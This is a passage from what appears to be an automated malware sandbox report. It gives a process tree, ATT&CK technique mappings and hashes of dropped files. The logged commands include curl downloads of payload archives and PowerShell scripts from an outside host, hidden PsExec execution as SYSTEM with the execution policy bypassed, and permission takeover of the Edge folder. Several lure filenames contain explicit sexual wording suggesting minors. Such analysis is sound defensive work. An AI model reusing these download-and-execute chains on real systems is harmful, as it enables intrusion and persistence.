      "C:\Windows\system32\curl.exe" https://3gunit.com/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:2628
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1920
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:1716
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2512
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:1856
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:1880
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:2948
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:3352
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:2480
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:2760
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:2700
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:952

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:4188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:3768

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:6000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rvdafygg\rvdafygg.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3280.tmp" "c:\Users\Admin\AppData\Local\Temp\rvdafygg\CSC3C0A865AB6CA4BFAAA9962CD895BC58.TMP"
      4⤵
      PID:1952
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://3gunit.com/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:5244
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2220

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\eeohkgp5\eeohkgp5.cmdline"
    3⤵
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES4675.tmp" "c:\Windows\SystemTemp\eeohkgp5\CSC893C8AF7334543B0B92894C8A82CF674.TMP"
      4⤵
      Drops file in Windows directory
      PID:4384
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:6092
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:5000
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2484
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2360
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3300
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:800
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2272
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:5612
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:5316
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:2736
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:1836
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:904
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:556
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:2716
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:4464
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:620
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:2536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\WellSmith\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3288
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2512

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1008

C:\Windows\system32\wscript.exe
"wscript.exe" "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 512KB
SHA256 e545dc5f418e1f2228220799ff71d5b44bfb54b4ae88c84b82e86bbcd4ee4e67
MD5 17fd5cd0fa6f0f9059011594ebef8904
SHA1 5c24c0761a6a3db4d6542607a0aa876c731e0be3
SHA512 351dcb7d26df98bfd3a791d3c5079eaa0837850bd6f83c98cdafe11e3264a75397c3151ba834fe9a70179a2a8bc03a06745ca92e921518d478123f4126700b28
SSDEEP 768:Uf0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrzcooJImdba5aSt3w:U69tQeoVYocxYCutFC
TLSH
T1BBB41037A560A098DF3C35B1E2AC5F4CBD72650B12E006421F74B57F7A237D98A0B5EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 75eb9912f096f3dda53c14550546b03ef33dc0931d66f00cf0ec4cf76e229460
MD5 bd9c220a33d6699d803771cb6024b5f9
SHA1 c3ff26ed206cdd51ea70c00bc1725db5f5ac1f55
SHA512 2afe0825595a735e159913db1439df7323c533975ac5e275b03e46c06e3813707b4254b5de8c3e809cc940808ca58b27c7ec9db4e77c649506a54c9451ba9eca
SSDEEP 768:40aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdbaH:mZP2tFP3vqY8BqEMTTaBacg
TLSH
T1A1258437D190B0C5CE2C7171E9ED8F08BA23B10B12A052465FF8957E7A633D99D1B1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LocalMLS_3.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
Size 68KB
SHA256 fce997fa35970580b58205ff369f3537ab3390d6a1ae166870a147868c811d4f
MD5 d32b2360ef5f02dea9944338108641cc
SHA1 36608eeb53b7075cc1716dbb2a709e3ed045e08b
SHA512 579de1d0fcf7feb1a410af03db43a4fc497df161704255d79c58c11d6ba334a0ea5b630dccd1edbee120f8c190471b74b1837c3d9cd6701ee7d3385433bf638e
SSDEEP 96:v53K/lt2gRNXt2lUMUst2d7Xt22UMbst2BUMlst2SOXt2fL2t2kLXt28t2TAt2Fq:ZKUnKn9nS
TLSH
T1BF63031692E51649F3FB2E747DF6665B1E7A78A25E39E20C4250C25E0DA0F2CDD30B32
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f7ad9abdcd636c2c6889999c25838241b47d0a25155ace08f64e55a25eb3ff9
MD5 7aa40f01332d390a0557187ed788e89f
SHA1 7d7c1a1c58e25749832d6634611c29cc8fabbf19
SHA512 1d9d4d55030ef6e8d1e386e61671f00bc271b8df8179ca19846c2b39cbb2bca110b67b3d4a6d1f200966057f5c6cea3f4dd1ad02d11e42ec7d013c6803954966
SSDEEP 1536:iKLmShYoNz8KMSfKQ1EflJntHY9h4iUxaR40i71Yi68nvwAOdB4V3CNBQkj2jaVP:iKLmShYoNz8KMSfKQ1EflJnpY9qiUaR9
TLSH
T135637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES3280.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3280.tmp
Size 1KB
SHA256 2da27c5287a48d522deae16dc9bb928c8e3f5e7d583f398f4a080425123c5f83
MD5 d5d8ff3ca106abd8a175dfa1c0427d81
SHA1 764ce74644ea727e4d8ada0f5b17e03bff9f615e
SHA512 90a19190fa1608ad2e636755310657f75a89b9b9f4ba892e25ef006310521b8ff464cc911445126df8c78ad9e6a8a52ee67ff2efc73e29911ecd123f10f6683e
TLSH
T11021AB0553ED871FF073473179FA176FA278FDA4EFA297AA854102292C11204DEA0EB3
MD5 SHA1 SHA512 TLSH

Submit Download

RESEDC6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEDC6.tmp
Size 1KB
SHA256 d39b646de0b2211df8b3ffc124e0e8bb8f44068145d64ef2d89b5a453934f149
MD5 e2cb6eea2115c6c63295cf37222c1067
SHA1 e0ccc9f0ea2b51170bca637a80dbc4b071d5b693
SHA512 3391c7dcaf940bdc719f5168c901ad34e2b81729830e6523545b26a36de7de4a831fdd53a2461308e843a8e0ff4396c188db7577ef7a5d5dea822e0ca27898ff
TLSH
T1C321CC0293E8871BF0B30B3169F7172FE265FD65EF62535A8440422D2C12204DEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESEEB0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEEB0.tmp
Size 1KB
SHA256 f88cc9e548863b35cf3cb2314e1e5718cab78be59e7490983fccc22419f7f23e
MD5 d7f1047bc0d0240e0b2d50be3a97f1f6
SHA1 7d4bc0249f4904dec2deaa3940f7ca56dea43176
SHA512 11a89f30a22db4ef8c6563f3cdda7545e39243e52be717c76011bf95758f4100abb51460872f1884ec65c5f3b5a9d2a7782fe582f992239f37c29fd067e7dad3
TLSH
T19121AF0163E8475FF073473269F6131FE278FE65EFA2976B4940422C2C11608EEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESEF1E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEF1E.tmp
Size 1KB
SHA256 4b45684b10404afa76a24ae84bf991277b5d0c82a1e7e0e4fff1f39531a5c571
MD5 23a0e6b1224c4b3e0d90c5289abd39f1
SHA1 7bc612ee07f31c97348eae09ae73790b9364f244
SHA512 371b4c33a226950b33680f2a5680f67ad26a853e0f8d7cc399261d2ab12dc6b0a127138e02cb70428b99400f88aa341ffb2916166b624a46a90594f706c4b797
TLSH
T1B421CC0593E84B1BF0735732ADFA176FE665FD54FFA2535A8900022C2C52904DFA0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_lbwtyhis.h0w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbwtyhis.h0w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

apdcjh3t.dll

Path C:\Users\Admin\AppData\Local\Temp\apdcjh3t\apdcjh3t.dll
Size 3KB
SHA256 ebb332b1b4ac6e835033a18c60cdbcacb286f4c683a36531afd8c61aca67c8b8
MD5 578161bc124e27d6a26ad1643046a546
SHA1 acbb7cf74948aa73f8ad7724737a051cbc8cdee9
SHA512 0ea72107a2213f5e56b901c1a7a6e073dd3b6176eb0a548ed92ce641192877cf5cb9dfe39d246f89aa41ae86a426623336cd41a6e7d4487263e6fff81c519e7b
TLSH
T1E451ED2A63EC0A6BE4B747316EE303173BB4FC609B72A75D19C04269AC60B546D31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

bc5ckuwc.dll

Path C:\Users\Admin\AppData\Local\Temp\bc5ckuwc\bc5ckuwc.dll
Size 3KB
SHA256 56d00887db1b5436cb0d7e07d85eeabf894e73f794b23f145c6f6cb0d12054e2
MD5 0945e75b50ddfc71ae6415630da2d237
SHA1 babac51ede1ba42cdcbd5798dc4f98b978d5ce51
SHA512 f5e6addfd9b32237ece4836b254bf5cd638203f3a1431545bb0febacba5d2ffebdddbc4cf6e389b470d16d0f8d66b68acfda1b485ce2aa24a8256526fe043633
TLSH
T1B051DB1AA7E80A6BF4A747316EF307272BB4FC509B73935E48C042296C617A45D31FB0
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 21B
SHA256 5ba77174f5752b53fbea78c1699c7cb4cf96e28f49208beb2f1f7e1c4c84b83a
MD5 7945548db7e5a7d9861b6ecb21365822
SHA1 342277418520c47216028dd544f110ed6a2b992f
SHA512 491576c020525e4a8be67fb9239cbce8ed5c9ed0ad57bfa17692dbe887437a0c1c2bf362d1048a8a81c8c244cb0cf7841a29b6da0d902ac0e3efb1d7a7d6dd70
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pID

Path C:\Users\Admin\AppData\Local\Temp\build\pID
Size 14B
SHA256 69574b02e4caa1a81250826edbdd334f218f31ed43f37b4dd7d0ab546724f742
MD5 f3d3517c550abe02be0e64d4ba2b05f5
SHA1 93690310e6088a07fed54aabcc312ca25cc75a43
SHA512 dc3ce57a0f9bec51f1b972e787174cff67b2f247b9d3ff73f19d6e87ed5acf8c60b22e7eafe5592ca10388eaec8de502a6735e1109ba22cf6d1c9b6b2efb60c0
MD5 SHA1 SHA512

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
